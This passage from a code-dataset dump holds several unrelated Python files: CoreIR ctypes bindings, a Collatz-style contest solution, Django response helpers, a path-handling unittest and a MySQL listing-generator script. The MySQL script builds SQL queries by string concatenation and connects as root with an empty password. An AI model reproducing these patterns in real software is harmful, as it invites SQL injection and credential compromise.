[COREArg_p]\ncoreir_lib.COREArg2Str.restype = ct.c_char_p\n\ncoreir_lib.COREArg2Int.argtypes = [COREArg_p]\ncoreir_lib.COREArg2Int.restype = ct.c_int\n\ncoreir_lib.COREInt2Arg.argtypes = [COREContext_p,ct.c_int]\ncoreir_lib.COREInt2Arg.restype = COREArg_p\n\ncoreir_lib.COREStr2Arg.argtypes = [COREContext_p,ct.c_char_p]\ncoreir_lib.COREStr2Arg.restype = COREArg_p\n\ncoreir_lib.COREModuleDefGetConnections.argtypes = [COREModuleDef_p, ct.POINTER(ct.c_int)]\ncoreir_lib.COREModuleDefGetConnections.restype = ct.POINTER(COREConnection_p)\n\ncoreir_lib.COREConnectionGetFirst.argtypes = [COREConnection_p]\ncoreir_lib.COREConnectionGetFirst.restype = COREWireable_p\n\ncoreir_lib.COREConnectionGetSecond.argtypes = [COREConnection_p]\ncoreir_lib.COREConnectionGetSecond.restype = COREWireable_p\n\ncoreir_lib.COREModuleDefWire.argtypes = [COREModuleDef_p, COREWireable_p, COREWireable_p]\n\ncoreir_lib.COREInterfaceSelect.argtypes = [COREInterface_p, ct.c_char_p]\ncoreir_lib.COREInterfaceSelect.restype = CORESelect_p\n\ncoreir_lib.COREInstanceSelect.argtypes = [COREInstance_p, ct.c_char_p]\ncoreir_lib.COREInstanceSelect.restype = CORESelect_p\n\ncoreir_lib.COREPrintModuleDef.argtypes = [COREModuleDef_p]\n\ncoreir_lib.COREWireableGetConnectedWireables.argtypes = [COREWireable_p, ct.POINTER(ct.c_int)]\ncoreir_lib.COREWireableGetConnectedWireables.restype = ct.POINTER(COREWireable_p)\n\ncoreir_lib.COREWireableGetModuleDef.argtypes = [COREWireable_p]\ncoreir_lib.COREWireableGetModuleDef.restype = COREModuleDef_p\n\ncoreir_lib.COREWireableSelect.argtypes = [COREWireable_p, ct.c_char_p]\ncoreir_lib.COREWireableSelect.restype = CORESelect_p\n\ncoreir_lib.COREWireableGetAncestors.argtypes = [COREWireable_p, ct.POINTER(ct.c_int)]\ncoreir_lib.COREWireableGetAncestors.restype = ct.POINTER(ct.c_char_p)\n\ncoreir_lib.COREModuleDefSelect.argtypes = [COREModuleDef_p, ct.c_char_p]\ncoreir_lib.COREModuleDefSelect.restype = CORESelect_p\n\ncoreir_lib.COREModuleDefGetModule.argtypes = [COREModuleDef_p]\ncoreir_lib.COREModuleDefGetModule.restype = COREModule_p\n\n# coreir_lib.CORESelectGetParent.argtypes = [CORESelect_p]\n# coreir_lib.CORESelectGetParent.restype = COREWireable_p\n\n\nclass CoreIRType(object):\n def __init__(self, ptr, context):\n self.ptr = ptr\n assert isinstance(context,Context)\n self.context = context\n\nclass Params(CoreIRType):\n pass\n\nclass Args(CoreIRType):\n pass\n\nclass Type(CoreIRType):\n def print_(self): # _ because print is a keyword in py2\n coreir_lib.COREPrintType(self.ptr)\n\n\nclass Wireable(CoreIRType):\n def get_connected_wireables(self):\n size = ct.c_int()\n result = coreir_lib.COREWireableGetConnectedWireables(self.ptr, ct.byref(size))\n return [Wireable(result[i],self.context) for i in range(size.value)]\n\n def get_ancestors(self):\n size = ct.c_int()\n result = coreir_lib.COREWireableGetAncestors(self.ptr, ct.byref(size))\n return [result[i].decode() for i in range(size.value)]\n\n def select(self, field):\n return Select(coreir_lib.COREWireableSelect(self.ptr, str.encode(field)),self.context)\n\n def get_module_def(self):\n return ModuleDef(coreir_lib.COREWireableGetModuleDef(self.ptr),self.context)\n\n def get_module(self):\n return self.get_module_def().get_module()\n\n\nclass Select(Wireable):\n pass\n # @property\n # def parent(self):\n # return Wireable(coreir_lib.CORESelectGetParent(self.ptr))\n\n\nclass Interface(Wireable):\n def select(self, field):\n return Select(coreir_lib.COREInterfaceSelect(self.ptr, str.encode(field)),self.context)\n\n\nclass Connection(CoreIRType):\n @property\n def first(self):\n return Wireable(coreir_lib.COREConnectionGetFirst(self.ptr), self.context)\n\n @property\n def second(self):\n return Wireable(coreir_lib.COREConnectionGetSecond(self.ptr), self.context)\n\n\nclass Instance(Wireable):\n def select(self, field):\n return Select(coreir_lib.COREInstanceSelect(self.ptr, str.encode(field)),self.context)\n \n def module_name(self):\n name = coreir_lib.COREGetInstRefName(self.ptr)\n return name.decode()\n\n def get_config_value(self,key):\n arg = coreir_lib.COREGetConfigValue(self.ptr,str.encode(key))\n #TODO this shoud be done better\n err = ct.c_bool(False)\n v = coreir_lib.COREArg2Str(arg,ct.byref(err))\n if err.value==False:\n return v.decode()\n\n err = ct.c_bool(False)\n v = coreir_lib.COREArg2Int(arg,ct.byref(err))\n if err.value==False:\n return v\n \n assert(False,\"NYI!\")\n\nclass ModuleDef(CoreIRType):\n def add_module_instance(self, name, module, config=None):\n if config==None:\n config = self.context.newArgs()\n assert isinstance(module,Module)\n assert isinstance(config,Args)\n return Instance(coreir_lib.COREModuleDefAddModuleInstance(self.ptr, str.encode(name), module.ptr,config.ptr),self.context)\n\n def get_interface(self):\n return Interface(coreir_lib.COREModuleDefGetInterface(self.ptr),self.context)\n\n def get_module(self):\n return Module(coreir_lib.COREModuleDefGetModule(self.ptr),self.context)\n\n def get_instances(self):\n size = ct.c_int()\n result = coreir_lib.COREModuleDefGetInstances(self.ptr, ct.byref(size))\n return [Instance(result[i],self.context) for i in range(size.value)]\n\n def get_connections(self):\n size = ct.c_int()\n result = coreir_lib.COREModuleDefGetConnections(self.ptr, ct.byref(size))\n return [Connection(result[i], self.context) for i in range(size.value)]\n\n def wire(self, a, b):\n coreir_lib.COREModuleDefWire(self.ptr, a.ptr, b.ptr)\n\n def select(self, field):\n return Wireable(coreir_lib.COREModuleDefSelect(self.ptr, str.encode(field)),self.context)\n\n def print_(self): # _ because print is a keyword in py2\n coreir_lib.COREPrintModuleDef(self.ptr)\n\n\nclass Module(CoreIRType):\n def new_definition(self):\n return ModuleDef(coreir_lib.COREModuleNewDef(self.ptr),self.context)\n\n def get_definition(self):\n return ModuleDef(coreir_lib.COREModuleGetDef(self.ptr),self.context)\n\n def add_definition(self, definition):\n assert isinstance(definition, ModuleDef)\n coreir_lib.COREModuleAddDef(self.ptr, definition.ptr)\n\n def save_to_file(self, file_name):\n err = ct.c_bool(False)\n assert (err.value ==False)\n print(\"Trying to save to file!\\n\")\n coreir_lib.CORESaveModule(self.ptr, str.encode(file_name),ct.byref(err))\n assert(err.value==False)\n\n def print_(self): # _ because print is a keyword in py2\n coreir_lib.COREPrintModule(self.ptr)\n\nclass Namespace(CoreIRType):\n def new_module(self, name, typ,cparams=None):\n assert isinstance(typ,Type)\n if cparams==None:\n cparams = self.context.newParams()\n assert isinstance(cparams,Params)\n return Module(\n coreir_lib.CORENewModule(self.ptr, ct.c_char_p(str.encode(name)), typ.ptr,cparams.ptr),self.context)\n\nclass Context:\n AINT=0\n ASTRING=1\n ATYPE=2\n def __init__(self):\n self.context = coreir_lib.CORENewContext()\n self.G = Namespace(coreir_lib.COREGetGlobal(self.context),self)\n \n def print_errors(self):\n coreir_lib.COREPrintErrors(self.context)\n\n def GetG(self):\n return self.G\n \n def Any(self):\n return Type(coreir_lib.COREAny(self.context),self)\n\n def BitIn(self):\n return Type(coreir_lib.COREBitIn(self.context),self)\n\n def BitOut(self):\n return Type(coreir_lib.COREBitOut(self.context),self)\n\n def Array(self, length, typ):\n assert isinstance(typ, Type)\n assert isinstance(length, int)\n return Type(coreir_lib.COREArray(self.context, length, typ.ptr),self)\n\n def Record(self, fields):\n keys = []\n values = []\n for key, value in fields.items():\n keys.append(str.encode(key))\n values.append(value.ptr)\n keys = (ct.c_char_p * len(fields))(*keys)\n values = (COREType_p * len(fields))(*values)\n record_params = coreir_lib.CORENewMap(self.context, ct.cast(keys,\n ct.c_void_p), ct.cast(values, ct.c_void_p), len(fields),\n COREMapKind_STR2TYPE_ORDEREDMAP)\n return Type(coreir_lib.CORERecord(self.context, record_params),self)\n\n def newParams(self, fields={}):\n keys = (ct.c_char_p * len(fields))(*(str.encode(key) for key in fields.keys()))\n values = (ct.c_int * len(fields))(*(value for value in fields.values()))\n gen_params = coreir_lib.CORENewMap(self.context, ct.cast(keys,\n ct.c_void_p), ct.cast(values, ct.c_void_p), len(fields),\n COREMapKind_STR2PARAM_MAP)\n return Params(gen_params,self)\n \n def newArgs(self,fields={}):\n args = []\n for v in fields.values():\n if type(v) is int:\n args.append(coreir_lib.COREInt2Arg(self.context,ct.c_int(v)))\n elif type(v) is str:\n args.append(coreir_lib.COREStr2Arg(self.context,ct.c_char_p(str.encode(v))))\n else:\n assert(False,\"NYI!\")\n\n keys = (ct.c_char_p * len(fields))(*(str.encode(key) for key in fields.keys()))\n values = (COREArg_p * len(fields))(*(arg for arg in args))\n gen_args = coreir_lib.CORENewMap(self.context, ct.cast(keys,\n ct.c_void_p), ct.cast(values, ct.c_void_p), len(fields),\n COREMapKind_STR2ARG_MAP)\n return Args(gen_args,self)\n\n def load_from_file(self, file_name):\n err = ct.c_bool(False)\n m = coreir_lib.CORELoadModule(\n self.context, ct.c_char_p(str.encode(file_name)),ct.byref(err))\n if (err.value):\n self.print_errors()\n\n return Module(m,self)\n\n def __del__(self):\n coreir_lib.COREDeleteContext(self.context)\n","sub_path":"bindings/python/coreir/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":13811,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"641212507","text":"n = int(input())\na = [n]\ncnt = 1\nwhile True:\n if a[-1] % 2 == 0:\n x = [a[-1] // 2]\n if set(x) & set(a) == set():\n a.append(x[0])\n else:\n cnt += 1\n break\n else:\n x = [a[-1] * 3 + 1]\n if set(x) & set(a) == set():\n a.append(x[0])\n else:\n cnt += 1\n break\n cnt += 1\nprint(cnt)\n","sub_path":"python/atcoder/ABC/B/b126/b116.py","file_name":"b116.py","file_ext":"py","file_size_in_byte":389,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"72357555","text":"# -*- coding: utf-8 -*-\n\n'''\n project: welborn productions utilities - responses\n @summary: provides easy access to HttpResponse/Request objects/functions.\n \n @author: Christopher Welborn \n@organization: welborn productions \n \n start date: Mar 27, 2013\n'''\n\n# Default dict for request args.\nfrom collections import defaultdict\n\n# Local tools\nfrom wp_main.utilities import htmltools\nfrom wp_main.utilities.utilities import (\n get_browser_style, get_server, get_remote_ip\n)\n\n# Log\nfrom wp_main.utilities.wp_logging import logger\n_log = logger(\"utilities.responses\").log\n# Template loading, and Contexts\nfrom django.contrib import messages\nfrom django.http import HttpResponse, HttpResponseServerError, Http404\nfrom django.template import RequestContext, Context, loader # noqa\n# Mark Html generated by these functions as safe to view.\nfrom django.utils.safestring import mark_safe\n\n\n# JSON stuff\nimport json\n\n\n# regex (for get referrer view)\nimport re\n\n\ndef alert_message(request, alert_msg, **kwargs):\n \"\"\" Builds an alert message, and returns the HttpResponse object.\n Arguments:\n request : The original request\n alert_msg : What to show in the alert box.\n\n Keyword Arguments:\n body_message : Body content wrapped in a wp-block div.\n Default is \"Click here to go home.\"\n noblock : Don't wrap in wp-block div if True.\n \n \"\"\"\n\n body_message = kwargs.get('body_message',\n (''\n 'Click here to go home'\n ''))\n noblock = kwargs.get('noblock', False)\n\n # passes the body message to the generic 'main_content'\n # block of the main template\n if noblock:\n main_content = body_message\n else:\n main_content = '

{}
'.format(body_message)\n\n # alert_message will display at the top of the page,\n # per the main templates 'alert_message' block.\n return clean_response(\"home/main.html\",\n {'main_content': mark_safe(main_content),\n 'alert_message': mark_safe(alert_msg),\n 'request': request,\n })\n\n\ndef basic_response(scontent='', *args, **kwargs):\n \"\"\" just a wrapper for the basic HttpResponse object. \"\"\"\n return HttpResponse(scontent, *args, **kwargs)\n\n\ndef clean_response(template_name, context_dict, **kwargs):\n \"\"\" same as render_response, except does code cleanup (no comments, etc.)\n returns cleaned HttpResponse.\n\n Keyword Args:\n see htmltools.render_clean()...\n \"\"\"\n if context_dict is None:\n context_dict = {}\n request = kwargs.get('request', None) or context_dict.get('request', None)\n\n # Add request to context if available.\n if request:\n context_dict.update({'request': request})\n # Add server name, remote ip to context if not added already.\n if not context_dict.get('server_name', False):\n context_dict['server_name'] = get_server(request)\n if not context_dict.get('remote_ip', False):\n context_dict['remote_ip'] = get_remote_ip(request)\n\n # Add new context dict to kwargs for render_clean().\n kwargs['context_dict'] = context_dict\n \n try:\n rendered = htmltools.render_clean(template_name, **kwargs)\n except Exception as ex:\n _log.error('Unable to render template: '\n '{}\\n{}'.format(template_name, ex))\n return alert_message(request,\n 'Sorry, there was an error loading this page.')\n else:\n return HttpResponse(rendered)\n\n\ndef clean_response_req(template_name, context_dict, **kwargs):\n \"\"\" handles responses with RequestContext instead of Context,\n otherwise it's the same as clean_response\n \"\"\"\n \n if not context_dict:\n context_dict = {}\n request = kwargs.get('request', None)\n if request:\n # Add server name, remote ip to context if not added already.\n if not context_dict.get('server_name', False):\n context_dict['server_name'] = get_server(request)\n if not context_dict.get('remote_ip', False):\n context_dict['remote_ip'] = get_remote_ip(request)\n # Turn this into a request context.\n context_dict = RequestContext(request, context_dict)\n else:\n _log.error('No request passed to clean_response_req!\\n'\n 'template: {}\\n'.format(template_name) +\n 'context: {}\\n'.format(repr(context_dict)))\n\n kwargs['context_dict'] = context_dict\n\n try:\n rendered = htmltools.render_clean(template_name, **kwargs)\n except Exception as ex:\n _log.error('Unable to render template with request context: '\n '{}\\n{}'.format(template_name, ex))\n return alert_message(request,\n 'Sorry, there was an error loading this page.')\n else:\n return HttpResponse(rendered)\n \n \ndef clean_template(template_, context_=None, force_=False):\n \"\"\" renders a template with context and\n applies the cleaning functions.\n \n Email addresses are hidden with hide_email(),\n then fixed on document load with wptools.js.\n \n Blank Lines, Whitespace, Comments are removed if DEBUG = True.\n see: htmltools.render_clean() or htmltools.clean_html()\n \"\"\"\n if context_ is None:\n context_ = {}\n \n if hasattr(template_, 'encode'):\n # render template and then clean.\n return htmltools.render_clean(template_, context_)\n elif hasattr(template_, 'render'):\n # already loaded template.\n return htmltools.clean_html(template_.render(context_))\n else:\n return None\n\n\ndef default_dict(request=None, extradict=None):\n \"\"\" Use default context contents for rendering templates, \n This dict will return with at least:\n {\n 'request': request, \n 'extra_style_link_list': utilities.get_browser_style(request),\n }\n Request must be passed to use this.\n Any extra dict items in the extradict override the defaults.\n \"\"\"\n if request is None:\n defaults = {}\n else:\n # Items guaranteed to be present in the context dict.\n defaults = {\n 'request': request,\n 'extra_style_link_list': [get_browser_style(request)],\n }\n\n if extradict:\n defaults.update(extradict)\n\n return defaults\n\n\ndef error404(request, message=None):\n \"\"\" Raise a 404, but pass an optional message through the messages\n framework.\n \"\"\"\n\n if message:\n messages.error(request, message)\n raise Http404(message)\n else:\n raise Http404()\n\n\ndef error500(request, msgs=None):\n \"\"\" Fake-raise a 500 error. I say fake because no exception is\n raised, but the user is directed to the 500-error page.\n If a message is passed, it is sent via the messages framework.\n Arguments:\n request : Request object from view.\n message : Optional message for the messages framework.\n \"\"\"\n if msgs and isinstance(msgs, str):\n msgs = [msgs]\n\n if msgs:\n # Send messages using the message framework.\n for m in msgs:\n messages.error(request, m)\n\n context = {'request': request,\n 'server_name': get_server(request),\n 'remote_ip': get_remote_ip(request),\n }\n try:\n rendered = htmltools.render_clean('home/500.html',\n context_dict=context,\n request=request)\n except Exception as ex:\n _log.error('Unable to render template: home/500.html\\n'\n '{}'.format(ex))\n if msgs:\n # Send message manually.\n errmsgfmt = '\\n{}'\n # Style each message.\n msgfmt = '
{}
'\n errmsgs = '\\n'.join((msgfmt.format(m) for m in msgs))\n # Build final html page.\n errmsg = errmsgfmt.format(errmsgs)\n else:\n errmsg = 'There was an error while building this page.'\n return HttpResponseServerError(errmsg)\n\n # Successfully rendered 500.html page.\n return HttpResponse(rendered)\n\n\ndef get_paged_args(request, total_count):\n \"\"\" retrieve request arguments for paginated post/tag lists.\n total count must be given to calculate last page.\n returns dict with arg names as keys, and values.\n \"\"\"\n\n # get order_by\n order_by_ = get_request_arg(request, ['order_by', 'order'], default=None)\n \n # get max_posts\n max_ = get_request_arg(request,\n ['max_items', 'max'],\n default=25,\n min_val=1,\n max_val=100)\n \n # get start_id\n start_id = get_request_arg(request,\n ['start_id', 'start'],\n default=0,\n min_val=0,\n max_val=9999)\n # calculate last page based on max_posts\n last_page = (total_count - max_) if (total_count > max_) else 0\n # fix starting id.\n if hasattr(start_id, 'lower'):\n start_id = last_page if start_id.lower() == 'last' else 0\n else:\n start_id = 0\n \n # fix maximum start_id (must be within the bounds)\n if start_id > (total_count - 1):\n start_id = total_count - 1\n \n # get prev page\n # (if previous page is out of bounds, just show the first page)\n prev_page = start_id - max_\n if prev_page < 0:\n prev_page = 0\n # get next page (if next page is out of bounds, just show the last page)\n next_page = start_id + max_\n if next_page > total_count:\n next_page = last_page\n \n return {\"start_id\": start_id,\n \"max_items\": max_,\n \"prev_page\": prev_page,\n \"next_page\": next_page,\n \"order_by\": order_by_}\n\n\ndef get_referer_view(request, default=None):\n ''' Return the referer view of the current request\n Example:\n def some_view(request):\n ...\n referer_view = get_referer_view(request)\n return HttpResponseRedirect(referer_view, '/accounts/login/')\n '''\n\n # if the user typed the url directly in the browser's address bar\n referer = request.META.get('HTTP_REFERER')\n if not referer:\n return default\n\n # remove the protocol and split the url at the slashes\n referer = re.sub('^https?:\\/\\/', '', referer).split('/')\n if referer[0] != request.META.get('SERVER_NAME'):\n return default\n\n # add the slash at the relative path's view and finished\n referer = u'/' + u'/'.join(referer[1:])\n return referer\n\n\ndef get_request_arg(request, arg_names, **kwargs):\n \"\"\" return argument from request (GET or POST),\n arg_names can be a list of alias names like: ['q', 'query', 'search']\n and this will look for any of those args.\n default value can be set.\n automatically returns int/float values instead of string where needed.\n min/max can be set for integer/float values.\n Arguments:\n request : request object to get page args from\n arg_names : argument names to accept for this arg.\n\n Keyword Arguments:\n default : default value for argument if it's not found.\n Default: None\n min_val : minimum value for int args.\n max_val : maximum vlaue for int args.\n Default: 999999\n \"\"\"\n \n default = kwargs.get('default', None)\n min_val = kwargs.get('min_val', 0)\n max_val = kwargs.get('max_val', 999999)\n # blank value to start with. (until we confirm it exists)\n val = ''\n if isinstance(arg_names, (list, tuple)):\n # list of arg aliases was passed, try them all.\n for arg_ in arg_names:\n if arg_ in request.REQUEST.keys():\n val = request.REQUEST[arg_]\n break\n else:\n # single arg_name was passed.\n if arg_names in request.REQUEST.keys():\n val = request.REQUEST[arg_names]\n \n # Default wasn't available, try some different types..\n if default is None:\n if val.isalnum():\n # check min/max for int values\n try:\n int_val = int(val)\n if (int_val < min_val):\n int_val = min_val\n if (int_val > max_val):\n int_val = max_val\n # return float instead of string\n val = int_val\n except:\n pass\n else:\n # try float, check min/max if needed.\n try:\n float_val = float(val)\n if (float_val < min_val):\n float_val = min_val\n if (float_val > max_val):\n float_val = max_val\n # return float instead of string\n val = float_val\n except:\n pass\n else:\n # Get desired type from defaults type.\n desiredtype = type(default)\n try:\n if val != '':\n desiredval = desiredtype(val)\n # If an error isn't trigured, we converted successfully.\n val = desiredval\n except Exception as ex:\n _log.error('Unable to determine type from: {}\\n{}'.format(val, ex))\n\n # final return after processing,\n # will goto default value if val is empty.\n if val == \"\":\n val = default\n return val\n \n\ndef get_request_args(request, requesttype=None, default=None):\n \"\"\" returns a dict of all request args.\n A default dict is returned where 'default' is the default value \n for missing keys.\n Arguments:\n request : The request object to retrieve args from.\n\n Keyword Arguments:\n default : What to return for missing keys.\n\n requesttype : 'post', 'get', or None.\n If None is given, it retrieves request.REQUEST\n (which is both POST and GET)\n\n Example of missing key:\n myargs = get_request_args(request)\n print(str(myargs['keyname']))\n # prints: None\n\n myargs = get_request_args(request, default='mydefault')\n print(myargs['keyname'])\n # prints: 'mydefault'\n\n \"\"\"\n \n # make default dict.\n defaultfactory = lambda: default\n defaultargs = defaultdict(defaultfactory)\n\n # Get original request args.\n if requesttype:\n # Try using provided request type.\n try:\n reqargs = getattr(request, requesttype.upper())\n except Exception as ex:\n _log.error('Invalid request arg type!: {}\\n{}'.format(requesttype,\n ex))\n return defaultargs\n else:\n # Default request type is REQUEST (both GET and POST)\n reqargs = request.REQUEST\n\n # Put the request args in the default dict.\n defaultargs.update(reqargs)\n return defaultargs\n\n\ndef json_get(data):\n \"\"\" Retrieves a dict from json data string. \"\"\"\n \n if isinstance(data, dict):\n return data\n \n datadict = json.loads(data.decode('utf-8'))\n return datadict\n\n\ndef json_get_request(request):\n \"\"\" retrieve JSON data from a request (uses json_get()). \"\"\"\n \n if request.is_ajax():\n return json_get(request.body)\n return None\n\n\ndef json_response(data):\n \"\"\" Returns an HttpResponse with application/json\n data can be a json.dumps() or a dict.\n dicts will be transformed with json.dumps()\n \"\"\"\n \n if isinstance(data, dict):\n data = json.dumps(data)\n \n return HttpResponse(data, content_type='application/json')\n\n\ndef json_response_err(ex, log=False):\n \"\"\" Respond with contents of error message using JSON. \"\"\"\n if log:\n _log.error('Sent JSON error:\\n{}'.format(ex))\n\n return json_response({'status': 'error', 'message': str(ex)})\n\n\ndef redirect_perm_response(redirect_to):\n \"\"\" returns a permanently moved response. \"\"\"\n\n return redirect_response(redirect_to, status_code=301)\n\n\ndef redirect_response(redirect_to, status_code=302):\n \"\"\" returns redirect response.\n redirects user to redirect_to.\n \"\"\"\n \n response = HttpResponse(redirect_to, status=status_code)\n response['Location'] = redirect_to\n return response\n\n\ndef render_response(template_name, context_dict):\n \"\"\" same as render_to_response, \n loads template, renders with context,\n returns HttpResponse.\n \"\"\"\n request = context_dict.get('request', None) if context_dict else None\n try:\n rendered = htmltools.render_clean(template_name, context_dict)\n return HttpResponse(rendered)\n except:\n return alert_message(request,\n 'Sorry, there was an error loading this page.')\n\n\ndef text_response(text_content, content_type='text/plain'):\n \"\"\" sends basic HttpResponse with content type as text/plain \"\"\"\n \n return HttpResponse(text_content, content_type=content_type)\n\n\ndef wsgi_error(request, smessage):\n \"\"\" print message to requests wsgi errors \"\"\"\n \n request.META['wsgi_errors'] = smessage\n \n\ndef xml_response(template_name, context_dict=None):\n \"\"\" loads sitemap.xml template, renders with context_dict,\n returns HttpResponse with content_type='application/xml'.\n \"\"\"\n contextdict = context_dict or {}\n try:\n tmplate = loader.get_template(template_name)\n context = Context(contextdict)\n clean_render = htmltools.remove_whitespace(\n htmltools.remove_comments(tmplate.render(context)))\n response = HttpResponse(clean_render, content_type='application/xml')\n except Exception as ex:\n errmsg = 'Error: {}'.format(ex)\n response = HttpResponseServerError(errmsg, content_type='text/plain')\n \n return response\n","sub_path":"wp_main/utilities/responses.py","file_name":"responses.py","file_ext":"py","file_size_in_byte":18369,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"560065681","text":"from unittest import TestCase\n\nfrom ..pythonpath import Pythonpath\nfrom pathlib import Path\nfrom sys import executable as python\n\n\ndef _setup__():\n from sys import path as _0\n root = Path(python)\n root = root.root or root.drive\n _1 = Pythonpath()\n _2 = _1.prev\n _3 = _1.grow()\n _4 = _3.prev\n _5 = Pythonpath(prepend=(root, root))\n _6 = _5.prev\n _7 = _5[:]\n _8 = _5.grow(canonicalize=2)\n _5.canonicalize(level=2, append=(root, root))\n return _0, _1, _2, _3, _4, _5, _6, _7, _8\n\n\nclass T(TestCase):\n _0, _1, _2, _3, _4, _5, _6, _7, _8 = _setup__()\n\n def test0(self):\n expected, actual = self._0, self._2\n self.assertIs(expected, actual)\n\n def test1(self):\n expected, actual = self._1, self._4\n self.assertIs(expected, actual)\n\n def test2(self):\n expected, actual = self._3, self._6\n self.assertIs(expected, actual)\n\n def test3(self):\n expected = 0\n actual = self._length_diff(self._5, self._8)\n self.assertEqual(expected, actual)\n\n def test4(self):\n at_least = 1\n actual = self._length_diff(self._7, self._5)\n self.assertGreaterEqual(actual, at_least)\n\n def test5(self):\n at_least = 1\n actual = self._length_diff(self._7, self._8)\n self.assertGreaterEqual(actual, at_least)\n\n @staticmethod\n def _length_diff(a, b):\n a, b = (y.__len__() for y in (a, b))\n return a - b\n","sub_path":"toplevel/test2/_01pythonpath.py","file_name":"_01pythonpath.py","file_ext":"py","file_size_in_byte":1450,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"55586823","text":"import MySQLdb\nimport random\nimport re\n\n\nclass Database:\n\n university = [\"UTSC\", \"UTM\", \"UOIT\"]\n\n room_type = {\"F-SW\" : 550, \"F-SHW\" : 500, \"UF-SW\" : 450, \"UF-SHW\" : 400}\n\n street = [[\"Military Trail\", \"Conlins Road\", \"Mirrow Court\", \"Gladys Road\", \"Bobmar Road\"],\n [\"Sawmill Valley Drive\", \"Snow Bunting Court\", \"Kingbird Court\", \"Belvedere Crescent\", \"Stonemason Crescent\"],\n [\"Dalhousie Crescent\", \"Niagra Drive\", \"McGill Court\", \"Secretariat Place\", \"Woodbine Place\"]]\n\n def __init__(self):\n\n db = MySQLdb.connect(\"localhost\", \"root\", \"\", \"listings\")\n\n cursor = db.cursor()\n\n cursor.execute(\"SELECT * FROM listing;\")\n\n if cursor.rowcount == 0:\n\n cursor.execute(\"CREATE TABLE `listings`.`address` (\"\n \"`id` INT NOT NULL AUTO_INCREMENT,\"\n \"`uni_id` INT NOT NULL,\"\n \"`address` VARCHAR(255) NOT NULL,\"\n \"PRIMARY KEY (`id`));\")\n\n for i in range(10000):\n\n type = random.choice(list(self.room_type.keys()))\n\n price = str(self.room_type[type])\n\n sqft = random.randint(110, 240)\n\n washroom = \"\"\n\n if type == \"F-SW\":\n washroom = \"Separate\"\n elif type == \"F-SHW\":\n washroom = \"Shared\"\n elif type == \"UF-SW\":\n washroom = \"Separate\"\n elif type == \"UF-SHW\":\n washroom = \"Shared\"\n\n parking = random.choice([\"Yes\", \"No\"])\n\n if parking == \"Yes\":\n price += \"50\"\n\n uni = random.choice(self.university)\n\n address = \"\"\n id = 0\n\n if uni == \"UOIT\":\n address = str(random.randint(200, 1000)) + \" \" + random.choice(self.street[2]) + \" Oshawa, ON\"\n id = 1\n\n if address == cursor.execute(\"SELECT address FROM listing WHERE address = '\" + address + \"';\"):\n address = str(random.randint(200, 1000)) + \" \" + random.choice(self.street[2]) + \" Oshawa, ON\"\n\n elif uni == \"UTSC\":\n address = str(random.randint(200, 1000)) + \" \" + random.choice(self.street[0]) + \" Scarborough, ON\"\n id = 2\n\n if address == cursor.execute(\"SELECT address FROM listing WHERE address = '\" + address + \"';\"):\n address = str(random.randint(200, 1000)) + \" \" + random.choice(self.street[0]) + \" Scarborough, ON\"\n\n elif uni == \"UTM\":\n address = str(random.randint(200, 1000)) + \" \" + random.choice(self.street[1]) + \" Mississauga, ON\"\n id = 3\n\n if address == cursor.execute(\"SELECT address FROM listing WHERE address='\" + address + \"';\"):\n address = str(random.randint(200, 1000)) + \" \" + random.choice(self.street[1]) + \" Mississauga, ON\"\n\n '''query = \"INSERT INTO listing (room_type, sqft, washroom, parking, price, address) VALUES ('\" + type + \"', '\" + str(sqft) + \"', '\" + washroom + \"', '\" + parking + \"', '\" + price + \"', '\" + address + \"');\"'''\n\n query = \"INSERT INTO address (uni_id, address) VALUES (\" + str(id) + \", '\" + address + \"');\"\n\n cursor.execute(query)\n\n cursor.execute(\"SELECT * FROM listing;\")\n\n if cursor.rowcount == 0:\n\n cursor.execute(\"SELECT * FROM address;\")\n\n addressses = cursor.fetchall()\n\n for i in range(10000):\n\n type = random.choice(list(self.room_type.keys()))\n\n price = self.room_type[type]\n\n sqft = random.randint(110, 240)\n\n washroom = \"\"\n\n if type == \"F-SW\":\n washroom = \"Separate\"\n elif type == \"F-SHW\":\n washroom = \"Shared\"\n elif type == \"UF-SW\":\n washroom = \"Separate\"\n elif type == \"UF-SHW\":\n washroom = \"Shared\"\n\n parking = random.choice([\"Yes\", \"No\"])\n\n if parking == \"Yes\":\n price += 50\n\n cursor.execute(\"SELECT address FROM address WHERE id=\" + str(i+1) + \";\")\n str1 = cursor.fetchone()\n str2 = str(str1)\n str3 = str2.replace(\"('\", \"\")\n address = str3.replace(\"',)\", \"\")\n\n cursor.execute(\"SELECT uni_id FROM address WHERE id=\" + str(i+1) + \";\")\n id = int(re.search(r'\\d+', str(cursor.fetchone())).group())\n\n query = \"INSERT INTO listing (uni_id, room_type, sqft, washroom, parking, price, address) VALUES (\" + str(id) + \", '\" + type + \"', \" + str(sqft) + \", '\" + washroom + \"', '\" + parking + \"', \" + str(price) + \", '\" + address + \"');\"\n\n cursor.execute(query)\n\n cursor.execute(\"SELECT * FROM indexes;\")\n\n if cursor.rowcount == 0:\n self.getIndexes()\n\n db.close()\n\n def getIndexes(self):\n db = MySQLdb.connect(\"localhost\", \"root\", \"\", \"listings\")\n\n cursor = db.cursor()\n\n values = []\n\n cursor.execute(\"SELECT listing_id FROM listing WHERE uni_id=1;\")\n result = cursor.fetchall()\n\n for record in result:\n values.append(record[0])\n\n cursor.execute(\"INSERT INTO indexes VALUES (1, '\" + str(values) + \"');\")\n\n values = []\n\n cursor.execute(\"SELECT listing_id FROM listing WHERE uni_id=2;\")\n result = cursor.fetchall()\n\n for record in result:\n values.append(record[0])\n\n cursor.execute(\"INSERT INTO indexes VALUES (2, '\" + str(values) + \"');\")\n\n values = []\n\n cursor.execute(\"SELECT listing_id FROM listing WHERE uni_id=3;\")\n result = cursor.fetchall()\n\n for record in result:\n values.append(record[0])\n\n cursor.execute(\"INSERT INTO indexes VALUES (3, '\" + str(values) + \"');\")\n\n def depthFirst(self):\n db = MySQLdb.connect(\"localhost\", \"root\", \"\", \"listings\")\n\n cursor = db.cursor()\n\n nodes = []\n\n cursor.execute(\"SELECT listing_id, room_type, sqft, washroom, parking, price, address FROM listing INNER JOIN university WHERE listing.uni_id = 